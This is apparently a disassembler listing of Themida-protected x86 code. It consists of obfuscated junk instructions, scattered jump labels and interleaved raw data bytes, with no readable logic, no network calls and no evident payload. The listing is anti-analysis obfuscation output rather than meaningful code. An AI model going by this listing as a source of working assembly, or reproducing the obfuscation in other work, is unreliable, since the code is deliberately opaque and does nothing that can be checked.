		add	ebx, 3ABF1635h
		sub	ebx, 742C7FFDh
		jmp	loc_55FB92
; ---------------------------------------------------------------------------
		db 1, 74h, 24h
		dd 24348B04h, 4C481h, 5AE90000h, 81FFFF62h, 561677CFh
		dd 81D7F700h, 0E37772F7h, 5FFE0154h, 0FFF5E8E9h, 2434FFFFh
		dd 8324148Bh, 0C48304C4h, 4C28104h, 81000000h, 4C2h, 24148700h
		dd 2924248Bh, 0E99C2404h, 0FFFF621Dh, 0FC11E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D9CE:				; CODE XREF: Themida_:0055E7B6j
		push	ebp
		mov	ebp, 5FCE7112h
		sub	[esp+4], ebp
		pop	ebp
		pop	edi
		add	edi, 5FCE7112h
		jmp	loc_55B137
; ---------------------------------------------------------------------------
		db 0F6h, 0DEh, 80h
		dd 0B7E9D6EEh, 8BFFFFA2h, 0C483241Ch, 72E95D04h, 5DFFFFDAh
		dd 4C581h, 0ED810000h, 4, 5C242C87h, 68243C89h,	0DCEh
		dd 81242489h, 42404h, 685F0000h, 179Dh,	0FFDB18E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DA29:				; CODE XREF: Themida_:0055A5BDj
		add	ebx, 57AF3AE4h
		sub	ebx, edi
		jmp	loc_5602FC
; ---------------------------------------------------------------------------


loc_55DA36:				; CODE XREF: Themida_:005554C2j
		pop	eax
		xor	esi, 96676E2Ah
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		shl	edx, 8
		jmp	loc_55BA30
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 79CFBD55h, 0BCE905BCh, 87FFFF6Bh, 895C2434h,	8952243Ch
		dd 0C1FEE9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DA6A:				; CODE XREF: Themida_:0055602Bj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_55D743
; ---------------------------------------------------------------------------


loc_55DA7F:				; CODE XREF: Themida_:005594EFj
		add	ebp, 53AC7FF2h
		jmp	loc_55492D
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24148904h, 0C00AB353h, 0D3F607EBh, 8008E3C0h, 0B551C3CBh
		dd 1ED80E3h, 0F6D1E580h, 6999E9DDh, 0EA81FFFFh,	48595D88h
		dd 0FFE48AE9h, 1BE957FFh, 50FFFF85h, 5156E089h,	272E61B9h
		dd 59CE8907h, 0FFEB9AE9h, 76C981FFh, 81221C5Fh,	354E10C1h
		dd 0E208E93Ch, 0E981FFFFh, 3E07592Eh, 0E959CE89h, 0FFFF6853h
		dd 5C240487h, 68C8B70Fh, 44A0h,	0E9240C89h, 0FFFF60E1h
		dd 4C481h, 89500000h
		db 0E0h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 543276F6h
		or	ecx, 5FC77038h
		shl	ecx, 7
		shr	ecx, 3
		push	edi
		jmp	loc_55E495
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 9C241CD2h, 0FF609CE9h, 656866FFh,	0C896613h
		dd 0B6B45024h, 0F480CCFEh, 0B3CC8004h, 0E907E4C0h, 1E56h
		dd 42CEE981h, 0E90145D6h, 42CEC181h, 0DBE945D6h, 66FFFF96h
		dd 0E924048Bh, 0FFFF6A59h
; ---------------------------------------------------------------------------


loc_55DB80:				; CODE XREF: Themida_:0055D188j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		shr	esi, 6
		push	ecx
		mov	ecx, 1
		add	esi, ecx
		pop	ecx
		and	esi, 25755254h
		xor	esi, 314014h
		and	eax, esi
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_55ADF2
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 0B2E95904h, 29000017h, 0CD1E9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DBC2:				; CODE XREF: Themida_:0055B149j
		add	ecx, 23CA1650h
		pop	edi
		push	70F5h
		mov	[esp], eax
		mov	eax, 710E368Bh
		dec	eax
		sub	eax, 4C365513h
		push	ecx
		mov	ecx, 72855367h
		sub	eax, ecx
		pop	ecx
		push	esi
		mov	esi, 71956E52h
		push	ebx
		mov	ebx, 36870B60h
		add	ebx, 6BA71EEh
		push	edi
		mov	edi, 0
		sub	edi, ebx
		xchg	edi, ebx
		jmp	loc_55B288
; ---------------------------------------------------------------------------
		dw 1431h
		dd 24143324h, 5724248Bh, 8904EC83h, 0B8502424h,	4, 4244401h
		dd 0FF8421E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DC25:				; CODE XREF: Themida_:0055D3FDj
		add	esi, ebp
		pop	ebp
		push	edx
		jmp	loc_55E4B6
; ---------------------------------------------------------------------------
		dw 0EBC1h
		dd 8DF38106h, 896E6396h, 0FA295BDFh, 0E9243C8Bh, 0FFFFD834h
; ---------------------------------------------------------------------------


loc_55DC44:				; CODE XREF: Themida_:0055B862j
		push	ebx
		mov	ebx, 72605F09h
		shr	ebx, 5
		not	ebx
		add	ebx, 6BB6129Ah
		mov	edi, ebx
		pop	ebx
		push	edx
		mov	edx, 6C197980h
		jmp	loc_55849D
; ---------------------------------------------------------------------------
		db 81h
		dd 134AF4EDh, 742F2DFEh, 0E8011DBEh, 0FF9437E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DC75:				; CODE XREF: Themida_:00555FA8j
		mov	esi, [esp]
		add	esp, 4
		push	eax
		push	esi
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	esi, [esp]
		add	esp, 4
		push	esi
		jmp	loc_554410
; ---------------------------------------------------------------------------


loc_55DCA2:				; CODE XREF: Themida_:005555BBj
		add	bl, 0E5h
		jmp	loc_558CC8
; ---------------------------------------------------------------------------


loc_55DCAA:				; CODE XREF: Themida_:005553C0j
		pop	eax
		shl	eax, 4
		push	ebx
		mov	ebx, 7C3524E1h
		jmp	loc_55ECFD
; ---------------------------------------------------------------------------
		db 0BDh, 3Ch, 58h
		dd 0EA018AECh, 81242C8Bh, 4C4h,	0E9D00100h, 0FFFF82C9h
		dd 0B6527404h, 0B95EE960h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DCDA:				; CODE XREF: Themida_:0055D573j
		inc	esi
		push	edx
		mov	edx, 42516C2h
		neg	edx
		jmp	loc_558D8B
; ---------------------------------------------------------------------------
		dd 1CD968h, 240C8900h, 341FBF57h, 1F684D5Eh, 594D5E36h
		dd 1E04C181h, 0F9292FFEh, 1E04E981h, 34FF2FFEh,	0C4815F24h
		dd 4, 0FF1C4F09h, 0C8B2434h, 4C48124h, 51000000h, 0C181E189h
		dd 4, 8704C183h, 248B240Ch, 0D3CDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DD3A:				; CODE XREF: Themida_:005588A3j
		pop	edx
		jmp	loc_5553CF
; ---------------------------------------------------------------------------
		dd 52E08950h, 7147B5BAh, 0E9DAF74Eh, 0FFFFE3BBh, 0E95BDA31h
		dd 0FFFF6FA4h, 8159CD31h, 1C6164EDh, 0C1DDF745h, 0F58105E5h
		dd 0B62454A4h, 875DE801h, 88E92404h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DD77:				; CODE XREF: Themida_:0055D066j
		pop	esi
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		add	ebx, 68230FA1h
		jmp	loc_553D70
; ---------------------------------------------------------------------------


loc_55DD8E:				; CODE XREF: Themida_:0055DF0Bj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_558452
; ---------------------------------------------------------------------------
		dw 4ACh
		dd 48804F9h, 7692E9D1h,	0D428FFFFh, 18C3805Ah, 28B9EB80h
		dd 0B9C380E3h, 0FF5EDDE9h, 59E828FFh, 0FF8B8AE9h, 1D4BAFFh
		dd 0E2815BC8h, 5D543082h, 0C281DAF7h, 454F5F76h, 7D26CA81h
		dd 0F2815684h, 0FE8F7FF2h, 0FF8FAEE9h, 54F380FFh, 0DBE94404h
		dd 29FFFFE2h, 0D4E959CFh
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DDFF:				; CODE XREF: Themida_:0055E3EFj
		add	esp, 4
		push	edi
		jmp	loc_5541A3
; ---------------------------------------------------------------------------


loc_55DE08:				; CODE XREF: Themida_:005549C1j
		add	esp, 4
		or	eax, eax
		jnz	loc_558EA8
		push	1
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_55875E
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 5DB7E904h, 0E95AFFFFh, 2028h, 0F7885CB6h, 2505685Ah
		dd 4890000h, 0B7D4E924h, 0C381FFFFh, 72735B54h,	646068h
		dd 82BBE900h, 0E958FFFFh, 24FEh, 1771B951h, 494979CBh
		dd 7A7DBE56h, 0DEF72250h, 2BA3F681h, 90E91CF0h,	5AFFFF5Eh
		dd 8B04C483h, 8957241Ch, 4C781E7h, 56000000h, 0FC344EBEh
		dd 0C1D9E96Bh, 0C681FFFFh, 4, 4BA52h, 0D6290000h, 0FF81F5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DEA5:				; CODE XREF: Themida_:00553BF0j
		neg	ch
		dec	ch
		jmp	loc_559C0D
; ---------------------------------------------------------------------------


loc_55DEAE:				; CODE XREF: Themida_:00558D9Ej
		sub	esi, 26BB550Ch
		pop	ebp
		shl	esi, 8
		push	eax
		mov	eax, 66935B66h
		dec	eax
		or	eax, 7B686CEEh
		push	esi
		mov	esi, 6294421Ah
		add	esi, 1F0D5B5Ah
		add	esi, 56D002ABh
		and	esi, 6FA05D85h
		neg	esi
		xor	esi, 0AC72ACB2h
		jmp	loc_55E71B
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 45h
		dd 5311525Ah, 0FF8D44E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DEF5:				; CODE XREF: Themida_:0055A16Fj
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		xor	ebx, ecx
		xor	ecx, ebx
		xor	ebx, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		push	edx
		jmp	loc_55DD8E
; ---------------------------------------------------------------------------


loc_55DF10:				; CODE XREF: Themida_:00559C4Ej
		or	esi, edi
		pop	edi
		sub	esi, 59C307BEh
		and	esi, 2CDA6F1Ah
		jmp	loc_5600D0
; ---------------------------------------------------------------------------
		dd 62FCE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DF2A:				; CODE XREF: Themida_:0055529Dj
		pop	esi
		jmp	loc_559294
; ---------------------------------------------------------------------------
		dd 0FAF3BAB8h, 58C5019Dh, 34FFEF89h, 72EBE924h,	6664FFFFh
		dd 4E9028Bh, 80FFFFC3h,	0EB80DBEBh, 0A1E9E932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DF56:				; CODE XREF: Themida_:0055672Aj
		add	ebp, edi
		pop	edi
		jmp	loc_556BB9
; ---------------------------------------------------------------------------


loc_55DF5E:				; CODE XREF: Themida_:0055EA1Fj
		push	eax
		pop	ecx
		pop	eax
		mov	ebp, ecx
		pop	ecx
		mov	edi, 7E5339D1h
		sub	edi, ebp
		mov	ebp, [esp]
		jmp	loc_55FD41
; ---------------------------------------------------------------------------
		db 66h
		dd 83240C8Bh, 48904ECh,	0E9E08924h, 0FFFF7147h
; ---------------------------------------------------------------------------


loc_55DF84:				; CODE XREF: Themida_:005561F1j
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		div	ecx
		push	6D9Dh
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	ebp
		mov	ebp, 4
		jmp	loc_55623C
; ---------------------------------------------------------------------------


loc_55DFB5:				; CODE XREF: Themida_:005602D3j
		push	ebx
		push	eax
		push	35EA3880h
		pop	eax
		inc	eax
		xor	eax, 62A27FD2h
		jmp	loc_55D941
; ---------------------------------------------------------------------------
		dd 68241C89h, 561Dh, 51242489h,	4B9h, 244C0100h, 0F3A2E904h
		dd 0F75EFFFFh, 0AFCE81D6h, 0E90ACD19h, 0FFFFB1FCh
; ---------------------------------------------------------------------------


loc_55DFF0:				; CODE XREF: Themida_:00557508j
		or	ebp, 45F35A90h
		xor	ebp, 0EEA65B17h
		sub	esi, ebp
		pop	ebp
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	esi
		push	edx
		push	eax
		mov	eax, 0C6A3280h
		dec	eax
		shr	eax, 5
		shl	eax, 2
		xor	eax, 263D75AEh
		add	eax, 0FDB8E9F5h
		mov	edx, eax
		pop	eax
		inc	edx
		or	edx, 1B221F61h
		shr	edx, 8
		push	ebx
		mov	ebx, 53CF00B8h
		shl	ebx, 4
		sub	ebx, 65FFCD0Ch
		jmp	loc_55C14D
; ---------------------------------------------------------------------------
		db 2Dh,	4Eh, 2Fh
		dd 2D407DFAh, 84EB6A84h, 0FF7861E9h, 48B66FFh, 68ECE924h
		dd 0B551FFFFh, 77B050D2h, 88C78853h, 75E95BFEh,	0F7FFFFC1h
		dd 535E241Ch, 0FFE1A0E9h, 90F281FFh, 0F733B709h, 42F281D2h
		dd 89318953h, 0CF295AD1h, 0FF5D9EE9h, 48B66FFh,	71206824h
		dd 0C890000h, 3BE95424h, 81FFFF8Eh, 4C4h, 90B85000h, 112A81Ah
		dd 24048BC3h, 81595451h, 4C1h, 4EC8100h, 89000000h, 68532404h
		dd 142858A7h, 5EBC15Bh,	743BCB81h, 60E93918h, 0E9FFFF74h
		dd 0FFFF5B09h, 243C895Ch, 2434FF54h, 0E9243C8Bh, 0FFFFC5D3h
; ---------------------------------------------------------------------------


loc_55E0EC:				; CODE XREF: Themida_:0055F975j
		mov	[esp], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 4
		sub	edi, ecx
		jmp	loc_56036B
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 6804C483h, 77BBh, 50243C89h,	0CB75D5B8h, 0C689566Ch
		dd 585EF789h, 23C4C281h, 0FA293BDBh, 23C4EA81h,	0A1E93BDBh
		dd 0FFFFCEh, 0C6B151C3h, 29E9CB28h, 2900001Fh, 0ECE95EF3h
		dd 28000009h, 0E9AC04F8h, 0FFFF7AB6h, 33E95959h, 54FFFFF9h
		dd 83242C8Bh, 0B85004C4h, 4, 8158C501h,	4C5h, 74FF5500h
		dd 8F5D0424h, 248B2404h, 4EC8124h, 89000000h, 0E589242Ch
		dd 4C581h, 0C5810000h, 4, 0FFA315E9h, 7CE94DFFh, 66FFFFA0h
		dd 4600C281h, 0D031665Fh, 24148B66h, 6802C483h,	6D15h
		dd 0E9242C89h, 0FFFF5C38h, 0E993EC80h, 0FFFFDD0Dh
; ---------------------------------------------------------------------------


loc_55E1C0:				; CODE XREF: Themida_:00557BC3j
		add	ebx, 4
		push	edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55BAE5
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 0E904EB83h, 0FFFF7FC8h, 15AD029h,	0BC9FE9F8h, 0BE56FFFFh
		dd 0
		dd 4EC81h, 34890000h, 243C8B24h, 0E904C483h, 0FFFF6C58h
		dd 245C0166h, 0E95B6602h, 0FFFF59D5h, 49C768h, 24048900h
		dd 4B8h, 628FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E222:				; CODE XREF: Themida_:0055A78Aj
		xor	eax, ecx
		jmp	loc_55CD64
; ---------------------------------------------------------------------------
		db 28h,	0DAh, 5Bh
		dd 0E907E2C0h, 0FFFFD21Fh, 11CA68h, 242C8900h, 81A4E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E242:				; CODE XREF: Themida_:0055CD5Fj
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		push	esi
		push	edi
		pop	esi
		jmp	loc_55B871
; ---------------------------------------------------------------------------


loc_55E252:				; CODE XREF: Themida_:005566B8j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55AD48
; ---------------------------------------------------------------------------
		db 1
		dd 24348BF2h, 0FFA029E9h, 241C89FFh, 835693BBh,	6E3C10Eh
		dd 879FF381h, 2FE98750h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E27F:				; CODE XREF: Themida_:0055C89Aj
		pop	ebx
		jmp	loc_558F52
; ---------------------------------------------------------------------------
		db 33h,	3Ch, 24h
		dd 0C89665Ch, 5953E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E292:				; CODE XREF: Themida_:0055CFDEj
		push	edx
		push	ebx
		jmp	loc_554D7F
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 441A6824h, 14890000h, 148B5424h, 4C48324h, 4BF57h, 0FA010000h
		dd 0E789575Fh, 4C781h, 0EF810000h, 4, 5C243C87h, 0BD242C89h
		dd 2, 2C8BEA01h, 4C48124h, 87000000h, 248B2414h, 2404FE24h
		dd 58FBE99Ch, 77FFFFFFh, 174EE93Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E2F2:				; CODE XREF: Themida_:0055F84Dj
		sub	esi, 0C5241C3Dh
		xor	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		jmp	loc_558DF8
; ---------------------------------------------------------------------------
		db 66h,	29h, 4
		dd 0D6E99C24h, 87FFFF58h, 665C243Ch, 66243C89h,	66197DBFh
		dd 8B66FD01h, 0C483243Ch, 0E8316602h, 750E9h, 9904AC00h
		dd 2EC81h, 89660000h, 0B252241Ch, 8BD788E5h, 0C4812414h
		dd 4, 973E9h, 0B7ED8100h, 2D95A6C6h, 714A706Dh,	0FFEB67E9h
		dd 0C8B66FFh, 4EC8124h,	89000000h, 5F54243Ch, 59436856h
		dd 3C890000h, 8716E924h, 0B850FFFFh, 4,	36ED81h, 0C501266Fh
		dd 62FE68h, 24148900h, 385DF5BAh, 81DAF728h, 0A557FDEAh
		dd 0C7CA815Dh, 81625A55h, 0B5F99EAh, 845AE954h,	0C481FFFFh
		dd 4, 76AEBA52h, 0E2811531h, 5F4E74CBh,	87EA814Ah, 1150074h
		dd 0FF575AD7h, 0E9042474h, 0FFFFB25Bh, 0E952E504h, 0FFFFECB1h
; ---------------------------------------------------------------------------


loc_55E3DC:				; CODE XREF: Themida_:0055905Ej
		pop	eax
		sub	edx, 0C4C64760h
		mov	eax, edx
		pop	edx
		sub	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55DDFF
; ---------------------------------------------------------------------------
		dd 243C3358h, 33243C31h, 248B243Ch, 2404D224h, 0B122E99Ch
		dd 489FFFFh, 68E08924h,	72C1h, 0BB241C89h, 3FF75E32h, 0E3C1DBF7h
		dd 0B8F38108h, 57721928h, 0F05A55BFh, 19EB8136h, 12A040Bh
		dd 19C381FBh, 5F2A040Bh, 0D1F7CB87h, 0FFB9D2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E445:				; CODE XREF: Themida_:0055853Dj
		pop	ebx
		push	799Eh
		jmp	loc_55D533
; ---------------------------------------------------------------------------


loc_55E450:				; CODE XREF: Themida_:00558C2Fj
		mov	eax, ecx
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_55FE91
; ---------------------------------------------------------------------------
		db 87h
		dd 68E9242Ch
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E463:				; CODE XREF: Themida_:00556E90j
		sub	edx, 2FDA09Dh
		jmp	loc_558953
; ---------------------------------------------------------------------------
		dw 3487h
		dd 6EE95C24h, 80FFFF57h, 0F280CDEAh, 11EA80F9h,	0FF5AD028h
		dd 575B2434h, 0C7815F54h, 4, 0FF71B0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E495:				; CODE XREF: Themida_:0055DB35j
		mov	edi, 62883E4Eh
		and	ecx, edi
		jmp	loc_553EDB
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0A9h
		dd 0F76A5A59h, 64BE56D1h, 3107FD02h, 8A8BE9F1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E4B6:				; CODE XREF: Themida_:0055DC29j
		mov	edx, 10E1530Dh
		push	edx
		jmp	loc_555AF4
; ---------------------------------------------------------------------------
		dd offset dword_457444+1513Ch
		db 0EEh, 59h, 80h
		dd 6FE99AEEh, 50FFFFACh, 302F81B8h, 7E0C14Eh, 7CE3E948h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E4DE:				; CODE XREF: Themida_:0055B645j
		push	esi
		mov	esi, 1EB72600h
		sub	esi, 1EB725FCh
		jmp	loc_5580A2
; ---------------------------------------------------------------------------
		db 64h
		dd 0E9028966h, 0FFFF56EDh, 190780BDh, 0D5F7456Bh, 8C2BF581h
		dd 0E989A743h, 2444815Dh, 7A04FC04h, 2444812Dh,	0D10DAC04h
		dd 244C2945h, 0ACB95104h, 0E945D10Dh, 0FFFF9F90h, 24143358h
		dd 0FF9645E9h, 3C685BFFh, 0E9000046h, 0FFFFDBDAh, 4BD55h
		dd 0EA010000h, 837FE95Dh, 0E589FFFFh, 4C581h, 0C5810000h
		dd 4, 5C242C87h, 0FF8F26E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E561:				; CODE XREF: Themida_:00553E97j
		add	[esp+4], ebp
		pop	ebp
		pop	ecx
		add	ecx, 4
		push	edi
		jmp	loc_55C310
; ---------------------------------------------------------------------------
		db 50h
		dd 566BE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E57A:				; CODE XREF: Themida_:005545C3j
		xor	edx, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_56037F
; ---------------------------------------------------------------------------


loc_55E593:				; CODE XREF: Themida_:005561A3j
		add	esp, 4
		jmp	loc_55BE41
; ---------------------------------------------------------------------------


loc_55E59B:				; CODE XREF: Themida_:0055CC91j
		add	esi, 0D7296595h
		push	esi
		pop	eax
		pop	esi
		jmp	loc_55E66E
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0E9h
		dd 4, 1A10E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E5B6:				; CODE XREF: Themida_:0055CBFAj
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		or	ebx, ebx
		jnz	loc_5541F5
		push	ecx
		push	edx
		jmp	loc_558698
; ---------------------------------------------------------------------------
		dw 0ACBEh
		dd 0C134A14Ch, 0BA5203E6h, 0ECD59FDh, 79DAB850h, 0C231709Eh
		dd 0FF8568E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E5ED:				; CODE XREF: Themida_:0055A1CDj
		pop	esp
		jmp	loc_55C628
; ---------------------------------------------------------------------------
		db 48h
		dd 4EC81h, 1C890000h, 7D5ABB24h, 0D8316FB5h, 0FF7F8EE9h
		dd 0ED814DFFh, 0CF0E6D46h, 0FFC1C3E9h, 4875AFFh, 24248B24h
		dd 24048B66h, 68E68956h, 28ABh,	0FFAFC3E9h, 74FF51FFh
		dd 8F590424h, 895C2404h, 8B542414h, 0C4832414h,	4C28104h
		dd 83000000h, 0E86802C2h, 8900005Bh, 0B5E92414h, 89FFFFB3h
		dd 5156241Ch, 0A25AE6B9h, 59CE8953h, 935EF389h,	0EBD3E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E66E:				; CODE XREF: Themida_:0055E5A4j
		push	ebp
		push	0EA2141h
		pop	ebp
		xor	eax, ebp
		jmp	loc_559FDE
; ---------------------------------------------------------------------------
		dd 91FCE95Ah, 0EE00FFFFh, 5974C680h, 282FB551h,	0B6E8E9EEh
		dd 0BBFFFFFh, 0E9546C6Eh, 12A0h, 4C481h, 55510000h, 154CF668h
		dd 242C8B55h, 4C481h, 0E5C10000h, 9DF58102h, 8903FB51h
		dd 0E9C15DE9h, 81E1D103h, 0CE218AE9h, 51C9810Eh, 8109E27Ah
		dd 0D63801F1h, 0DDF18146h, 0E9146960h, 0FFFFAA9Eh, 805AF328h
		dd 0C328B5C3h, 80B5EB80h, 0B2528BC3h, 7CC280CFh, 80B3F280h
		dd 0D328B8EBh, 5AB8C380h, 0F56EB80h, 39E9C0B6h,	89FFFF5Ah
		dd 0BBD242Ch, 216B5F5Fh, 0CDE95DEFh
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E71B:				; CODE XREF: Themida_:0055DEE4j
		add	eax, esi
		jmp	loc_5571AD
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 0C2815A00h, 4,	7306E955h, 0EEC1FFFFh, 36F68102h
		dd 0F735D3DBh, 70C681D6h, 81360327h, 821A94EFh,	8E7EE92Bh
		dd 0F001FFFFh, 163FBE56h, 0EC833DB8h, 24348904h, 0FFD135E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E765:				; CODE XREF: Themida_:00558958j
		add	esp, 4
		xor	ebx, 61363156h
		shr	ebx, 4
		shr	ebx, 6
		jmp	loc_559516
; ---------------------------------------------------------------------------


loc_55E77C:				; CODE XREF: Themida_:0055B876j
		push	5D87h
		mov	[esp], eax
		push	1A88h
		jmp	loc_555676
; ---------------------------------------------------------------------------
		dw 0EF83h
		dd 243C8702h, 0C89665Ch, 521CB124h, 0D388CA88h,	0E100E95Ah
		dd 0BE2DFFFFh, 0E9172135h, 0FFFFDFB3h
; ---------------------------------------------------------------------------


loc_55E7B0:				; CODE XREF: Themida_:0055642Bj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55D9CE
; ---------------------------------------------------------------------------
		db 81h
		dd 0B52C7CC5h, 5DE9894Eh, 0FF84B0E9h, 5417E9FFh, 0C4FEFFFFh
		dd 0E9DCC480h, 0FFFFE7C4h, 0C3805959h, 66B652F8h, 0DBB55166h
		dd 5966EE28h, 0FFFEF3E9h, 1F09BFFFh, 0CF811BCCh, 6F15303Dh
		dd 476EC781h, 0E7C17FC1h, 3FC78107h, 0E9629619h, 0FFFF657Eh
		dd 7BF2E959h, 0DAF7FFFFh, 2BCB951h, 0C18100C3h,	778A7778h
		dd 7AE9D9F7h, 66FFFFFCh, 5524148Bh, 0C5815D54h,	4, 0FF88A7E9h
		dd 0E8F281FFh, 811E492Dh, 7F588EAh, 5AD5015Dh, 8B9BE95Fh
		dd 0E959FFFFh, 0FFFFB1C2h
; ---------------------------------------------------------------------------


loc_55E854:				; CODE XREF: Themida_:00556837j
		xchg	ebp, [esp]
		jmp	loc_55A66C
; ---------------------------------------------------------------------------
		dd 5224048Bh, 0FF9F87E9h, 0FF515EFFh, 59042474h, 5C24048Fh
		dd 0FF246F83h, 8B244781h, 83136A71h, 48904ECh, 24B824h
		dd 0F8010000h, 91DE3081h, 0F7E913F9h, 81FFFF97h, 47449FC7h
		dd 3C875B14h, 997E924h,	0C4810000h, 4, 0EB81C301h, 15385ACFh
		dd 0FF9548E9h, 2434FFFFh, 8324348Bh, 895604C4h,	26E957E6h
		dd 31FFFFFFh, 24048BC2h, 4C481h, 0D6010000h, 57CE015Ah
		dd 3E6652BFh, 5FFE2964h, 0FF94A3E9h, 6A6168FFh,	34890000h
		dd 25EABE24h, 0B70522DDh, 292EB93Bh, 3BB72DF0h,	515E2EB9h
		dd 0FE3BF5B9h, 59C80100h, 6852D829h, 6626h, 68240489h
		dd 212462EDh, 5E8C158h,	8009AC05h, 0E9C289FFh, 0F8Fh, 8904EC83h
		dd 4682404h, 58000000h,	6858C201h, 2D68h, 0BF243C89h, 6F7F6CABh
		dd 115DE9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		jmp	loc_55B728
; ---------------------------------------------------------------------------
		dd 0E9028F64h, 0FFFF527Dh, 0EE81D6F7h, 51AA731Eh, 9DBE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E975:				; CODE XREF: Themida_:0055D50Fj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		and	ecx, edi
		pop	edi
		shr	ecx, 0Bh
		jmp	loc_55A196
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 902h, 0FF5250E9h, 2590BBFFh,	0EBC103AAh, 72E38102h
		dd 81283149h, 0B43AE2EBh, 5BDE2961h, 0FFEFC8E9h, 2434FFFFh
		dd 0FFEA6FE9h, 242C81FFh, 339D7BFCh, 0FF65A4E9h, 4FF56FFh
		dd 9DEDE924h, 5356FFFFh, 929DE957h, 2768FFFFh, 8B5DC34Bh
		dd 62E92434h, 0BDFFFFBEh, 5744079h, 70DBF581h, 0EE01FC3Eh
		dd 7CE1E95Dh, 0E5D1FFFFh, 6B3ACD81h, 0E5C1267Bh, 18E58106h
		dd 0D117A26Ah, 84B951EDh, 813DFF22h, 0B640CEF1h, 81F3E96Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EA1A:				; CODE XREF: Themida_:00554748j
		mov	eax, 7E5339D0h
		jmp	loc_55DF5E
; ---------------------------------------------------------------------------


loc_55EA24:				; CODE XREF: Themida_:00557510j
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	eax
		jmp	loc_55B834
; ---------------------------------------------------------------------------
